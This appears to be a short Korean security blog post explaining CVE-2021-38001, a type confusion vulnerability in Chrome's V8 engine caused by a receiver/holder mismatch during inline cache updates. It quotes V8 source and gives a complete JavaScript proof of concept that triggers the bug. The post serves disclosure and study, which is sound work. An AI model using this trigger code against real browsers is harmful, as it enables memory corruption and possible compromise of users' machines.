[하루한줄] CVE-2021-38001: Chrome V8의 Type Confusion 취약점
URL
Target
- Chrome V8
Explain
지난 8월에 이어 Chrome의 V8 엔진에서 Type Connfusion 취약점이 발견되어 PoC 및 상세 정보가 공개되었습니다.
CVE-2021-30517: Chrome V8 엔진의 Type Confusion 취약점
취약점은 미스된 캐시를 업데이트하는 과정에서 [accessor-assembler.cc](<http://accessor-assembler.cc>)
와 ic.cc
사이에 발생합니다. 다음은 accessor-assembler.cc
의 코드 일부입니다.
//accessor-assembler.cc
Comment("module export");
TNode<UintPtrT> index =
DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
// p->receiver로 캐스팅해 속성 접근
TNode<Module> module = LoadObjectField<Module>(
CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
TNode<ObjectHashTable> exports =
LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
캐시 미스가 발생하면 ComputeHander
를 호출해 캐시를 업데이트합니다. ic.cc
는 JSModuleNamespace
의 lookup_start_object(holer)
를 기반으로 캐시를 업데이트하지만 업데이트 후 accessor-assembler.cc
에서 이루어지는 실제 속성 액세스 프로세스는 JSModuleNamespace
에 없는 receiver
객체에서 실행됩니다. 따라서 receiver
와 lookup_start_object(holder)
가 다르면 Type Confusion이 발생하게 됩니다.
취약점에 대한 POC는 다음과 같습니다.
import * as module from "1.mjs";
function poc() {
class C {
m() {
return super.y;
}
}
let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;
// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();
c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;
// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}
for (let i = 0; i < 0x100; i++) {
trigger();
}
}
poc();
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.